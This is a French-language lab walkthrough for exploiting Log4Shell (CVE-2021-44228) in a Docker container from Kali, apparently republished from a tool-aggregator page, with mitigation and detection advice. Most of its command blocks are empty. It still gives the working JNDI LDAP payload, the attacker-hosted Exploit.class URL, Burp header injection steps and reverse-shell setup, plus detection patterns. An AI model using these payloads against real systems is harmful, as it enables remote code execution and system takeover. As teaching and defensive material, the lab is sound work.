Log4Shell-CVE-2021-44228

Laboratoire pratique pour exploiter et comprendre Log4Shell (CVE-2021-44228) en utilisant Docker, Kali Linux, Burp Suite et log4j-shell-poc. Pour l'enseignement et la formation défensive uniquement dans des environnements de laboratoire contrôlés.

0. Avis légal et éthique

Ce laboratoire doit uniquement être réalisé dans un environnement contrôlé où vous avez une autorisation explicite (votre propre laboratoire, des VM de classe, etc.).

• N'attaquez pas les systèmes de production.
• N'exécutez pas cela contre des hôtes que vous ne possédez ou n'administrez pas.
• Utilisez ce matériel uniquement à des fins d'éducation, de recherche et de défense.

1. Aperçu général

Log4Shell (CVE-2021-44228) est une vulnérabilité RCE critique dans Apache Log4j 2.

Le problème survient parce que les versions vulnérables de Log4j2 interprètent des chaînes contrôlées par l'attaquant telles que :

Lorsque cette chaîne est journalisée, Log4j :

1. Effectue une recherche JNDI (par exemple via LDAP) vers un serveur contrôlé par l'attaquant.
2. Reçoit une référence vers une classe Java malveillante.
3. Télécharge la classe via HTTP et la charge dans la JVM.
4. L'exécute, ce qui donne une exécution de code à distance.

Dans ce laboratoire, vous allez :

• Exécuter une application web Log4j2 vulnérable dans un conteneur Docker.
• Exécuter un serveur LDAP + HTTP malveillant sur Kali en utilisant log4j-shell-poc.
• Livrer la charge utile Log4Shell via curl et via Burp Suite.
• Capturer un reverse shell depuis le conteneur vulnérable.

2. Objectifs d'apprentissage

À la fin de ce laboratoire, vous devriez être capable de :

1. Expliquer à un niveau élevé comment fonctionne Log4Shell et pourquoi JNDI est dangereux lorsqu'il est mal utilisé.
2. Déployer une application Log4j2 vulnérable en utilisant Docker.
3. Installer et configurer JDK 1.8.0_202, requis par le PoC.
4. Exécuter un serveur LDAP malveillant et un serveur HTTP via le script PoC.
5. Déclencher la vulnérabilité et obtenir un reverse shell.
6. Utiliser Burp Suite pour injecter l'exploit dans un en-tête HTTP.
7. Discuter des mesures d'atténuation réalistes et des stratégies de détection.

3. Architecture du laboratoire

Tous les composants s'exécutent sur votre laboratoire virtuel existant. Pour ce document, nous supposons :

• La VM Kali Linux est l'attaquant.
• Kali exécute également le conteneur Docker contenant l'application vulnérable.

Idée clé

L'attaquant injecte :

dans un en-tête HTTP. L'application vulnérable le journalise en utilisant Log4j2 → effectue une recherche JNDI LDAP vers 192.168.1.4:1389 → télécharge une classe malveillante depuis http://192.168.1.4:8000 → exécute la classe, qui ouvre un reverse shell vers 192.168.1.4:9001.

4. Prérequis

Sur Kali, vous avez besoin de :

• Docker (installé et fonctionnel).
• Python 3 (par défaut sur Kali).
• Netcat (nc).
• Burp Suite (l'édition Community est suffisante).
• Accès à Internet pour les téléchargements initiaux.
• Familiarité de base avec Linux et HTTP.

Tout au long de ce guide, nous supposons que l'IP Kali est :

Si votre IP diffère, ajustez toutes les commandes en conséquence.

5. Installer JDK 1.8.0_202 sur Kali (Obligatoire)

Le PoC repose sur Java SE 8 Update 202 (JDK 1.8.0_202) car les versions ultérieures de Java restreignent le comportement de chargement de classes à distance utilisé par cet exploit.

Même si Kali possède déjà OpenJDK 21 (ou similaire), vous devez quand même installer 8u202 séparément.

5.1 Créer un répertoire de travail

5.2 Télécharger JDK 8u202 depuis le miroir HuaweiCloud

Racine du miroir :

Télécharger l'archive tar Linux x64 (≈185 Mo) :

5.3 Extraire vers /usr/bin/jdk1.8.0_202

L'option --strip-components=1 supprime le répertoire de premier niveau de l'archive afin que les fichiers atterrissent directement sous /usr/bin/jdk1.8.0_202.

5.4 Vérifier l'installation

Sortie attendue :

Si vous voyez cela, JDK 1.8.0_202 est correctement installé.

6. Déployer l'application Log4j vulnérable (Docker sur Kali)

Dans un nouveau terminal sur Kali (vous pouvez rester dans ~/Log4Shell) :

Vous devriez voir des journaux similaires à :

• L'application est maintenant accessible à http://127.0.0.1:8080/ depuis Kali.
• Laissez ce terminal en cours d'exécution. C'est votre cible.

Vérification rapide :

Vous pouvez voir une page d'erreur Whitelabel (HTTP 400). Ce n'est pas grave – tout ce dont nous avons besoin, c'est que l'application tourne et enregistre les requêtes.

7. Préparer le PoC d'exploitation sur Kali

7.1 Cloner log4j-shell-poc

Dans un nouveau terminal :

Confirmer les fichiers :

8. Configurer poc.py pour utiliser JDK 1.8.0_202

Par défaut, poc.py s'attend à trouver un JDK local dans un répertoire nommé jdk1.8.0_20 dans le dépôt. Au lieu de cela, vous avez installé JDK 8u202 dans /usr/bin/jdk1.8.0_202, vous devez donc mettre à jour le script.

8.1 Ouvrir poc.py dans un éditeur

8.2 Identifier les lignes du chemin Java d'origine

Recherchez jdk1.8.0_20 (dans nano : Ctrl+W, tapez jdk1.8.0_20, appuyez sur Entrée).

Vous devriez trouver trois occurrences telles que :

8.3 Remplacer par les chemins absolus vers JDK 8u202

Remplacez-les par :

Enregistrer et quitter :

• Ctrl + O → Entrée
• Ctrl + X

Le PoC utilise maintenant JDK 1.8.0_202 depuis /usr/bin.

9. Démarrer les services d'exploitation (LDAP + HTTP + Générateur de charge utile)

Depuis ~/Log4Shell/log4j-shell-poc :

9.1 Exécuter le script PoC

Paramètres :

• --userip – votre IP Kali (attaquant) : par ex. 192.168.1.4.
• --webport – port pour le serveur HTTP intégré : 8000.
• --lport – port auquel la charge utile se reconnecte : 9001.

Si tout est configuré correctement, vous devriez voir quelque chose comme :

Important :

• Le serveur LDAP écoute sur le port 1389.

• Le serveur HTTP écoute sur le port 8000.

• La charge utile exacte à injecter est affichée :

  root@kitploit:~

  ${jndi:ldap://192.168.1.4:1389/a}
  

Laissez ce terminal en cours d'exécution.

10. Démarrer l'écouteur de reverse shell (Netcat)

Ouvrez un autre nouveau terminal sur Kali :

Vous devriez voir :

Cet écouteur recevra le reverse shell de l'application vulnérable.

À ce stade, vous devriez avoir :

1. Le conteneur Docker exécutant l'application vulnérable (port 8080).
2. poc.py exécutant LDAP (1389) et HTTP (8000).
3. Netcat en écoute sur 9001.

11. Exploiter Log4Shell via curl

Tout d'abord, prouvez que l'exploit fonctionne en utilisant une requête HTTP brute.

Dans un nouveau terminal (ou réutilisez-en un si disponible) :

Ce qui se passe :

1. L'application vulnérable reçoit la requête et journalise l'en-tête X-Api-Version.
2. Log4j2 voit ${jndi:ldap://192.168.1.4:1389/a} et effectue une recherche JNDI LDAP.
3. Votre serveur LDAP (dans poc.py) répond avec une référence à une classe Java malveillante hébergée sur votre serveur HTTP.
4. L'application télécharge et exécute la classe.
5. La classe se reconnecte à 192.168.1.4:9001 et génère un shell.

En cas de succès, votre terminal Netcat affiche :

Vous avez maintenant un shell root à l'intérieur du conteneur Docker.

Essayez :

Quittez avec :

Netcat reviendra en écoute.

12. Exploiter Log4Shell via Burp Suite (style navigateur)

Démontrez maintenant le même chemin d'exploitation en utilisant un navigateur via Burp Suite.

12.1 Configurer Firefox pour utiliser Burp comme proxy

1. Démarrez Burp Suite sur Kali.
2. Dans Burp, assurez-vous que l'écouteur Proxy est en cours d'exécution sur 127.0.0.1:8080.
3. Dans Firefox :
   • Paramètres → Paramètres réseau → Configuration manuelle du proxy.
   • Proxy HTTP : 127.0.0.1, Port : 8080.
   • Cochez « Utiliser ce proxy également pour HTTPS ».
   • Assurez-vous qu'il n'y a pas d'exclusions pour 127.0.0.1.

12.2 Capturer une requête initiale

1. Dans Burp → Proxy → Intercept, assurez-vous que Intercept est activé.

2. Dans Firefox, naviguez vers :

   root@kitploit:~

   http://127.0.0.1:8080/
   

3. Burp affichera la requête interceptée, par exemple :

   root@kitploit:~

   GET / HTTP/1.1
   Host: 127.0.0.1:8080
   User-Agent: Mozilla/5.0 ...
   ...
   

12.3 Envoyer la requête à Repeater

1. Dans l'onglet Proxy → Intercept, faites un clic droit sur la requête.
2. Sélectionnez Envoyer à Repeater.
3. Passez à l'onglet Repeater.

12.4 Injecter la charge utile Log4Shell dans un en-tête HTTP

Dans Repeater, modifiez la requête pour inclure un en-tête X-Api-Version :

Notes :

• Remplacez 192.168.1.4 par votre véritable IP Kali si elle est différente.
• N'encodez pas les caractères ${} en URL – ils doivent apparaître exactement comme indiqué.
• Connection: close simplifie les choses (optionnel).

12.5 Envoyer la requête malveillante

1. Confirmez que poc.py et l'écouteur Netcat sont toujours en cours d'exécution.
2. Cliquez sur Envoyer dans Burp Repeater.

Vous pouvez à nouveau voir une page d'erreur Whitelabel 400 – ce n'est pas grave.

Vérifiez votre terminal Netcat :

Vous avez une nouvelle fois obtenu un shell root sur le conteneur, cette fois en utilisant une requête HTTP modifiée par Burp, ce qui reflète un flux de travail d'exploitation web réaliste.

13. Comment fonctionne la chaîne d'exploitation (Résumé technique)

1. L'attaquant crée la charge utile JNDI :

   root@kitploit:~

   ${jndi:ldap://192.168.1.4:1389/a}
   

2. L'application vulnérable journalise cette chaîne en utilisant Log4j2.

3. Log4j2 interprète ${jndi:...} et effectue une recherche JNDI.

4. La recherche utilise LDAP pour contacter le serveur LDAP de l'attaquant à 192.168.1.4:1389.

5. Le serveur LDAP (marshalsec) répond avec un javaNamingReference pointant vers une classe contrôlée par l'attaquant hébergée via HTTP, par exemple :

   root@kitploit:~

   http://192.168.1.4:8000/Exploit.class
   

6. La JVM victime télécharge et charge cette classe.

7. Le constructeur de la classe ouvre un socket vers 192.168.1.4:9001 et y lie /bin/sh.

8. L'écouteur Netcat de l'attaquant reçoit la connexion entrante et obtient un shell root distant à l'intérieur du conteneur.

14. Atténuation et défense

Dans les environnements réels, plusieurs couches défensives doivent être appliquées.

14.1 Mettre à niveau Log4j2

• Mettez à niveau vers 2.17.1 ou version ultérieure (ou version sécurisée recommandée par le fournisseur).
• Ces versions désactivent ou restreignent fortement les recherches JNDI par défaut.

14.2 Désactiver les recherches JNDI / de messages

Pour les déploiements encore vulnérables, ajoutez :

(Là où applicable – notez que toutes les configurations vulnérables ne sont pas corrigées par ce seul indicateur.)

14.3 Supprimer JndiLookup des JAR log4j-core

En tant que mesure de défense en profondeur :

14.4 Renforcer l'accès réseau sortant

• Restreignez les connexions sortantes LDAP, RMI et HTTP arbitraires depuis les serveurs d'applications.
• Le filtrage du trafic sortant et des politiques de pare-feu strictes peuvent empêcher les serveurs d'atteindre une infrastructure contrôlée par l'attaquant.

14.5 Détection et surveillance

• Recherchez dans les journaux des motifs suspects comme ${jndi: ou ${${lower:j}${upper:ndi}:.
• Surveillez les connexions LDAP/RMI sortantes inhabituelles depuis les serveurs.
• Déployez des règles IDS/IPS/SIEM pour les indicateurs Log4Shell et le trafic PoC.

15. Aide-mémoire des commandes

Un aperçu condensé des commandes utilisées dans ce laboratoire.

15.1 Répertoire de travail

15.2 Télécharger JDK 8u202 (≈185 Mo)

15.3 Installer JDK 1.8.0_202

15.4 Exécuter l'application Docker vulnérable

15.5 Cloner le dépôt PoC

15.6 Mettre à jour les chemins Java de poc.py (résumé)

Remplacez :

Par :

15.7 Démarrer le PoC (LDAP + HTTP + charge utile)

15.8 Écouteur Netcat reverse shell

15.9 Exploit via curl

15.10 Chaîne de charge utile pour les en-têtes

15.11 En-tête Burp Repeater

16. Galerie de captures d'écran

17. Références

• PoC original : kozmer/log4j-shell-poc
• Application de démonstration vulnérable : christophetd/log4shell-vulnerable-app
• Vulnérabilités de sécurité Apache Log4j : https://logging.apache.org/log4j/2.x/security.html
• Entrée NIST NVD pour CVE-2021-44228 : https://nvd.nist.gov/vuln/detail/CVE-2021-44228

18. Crédits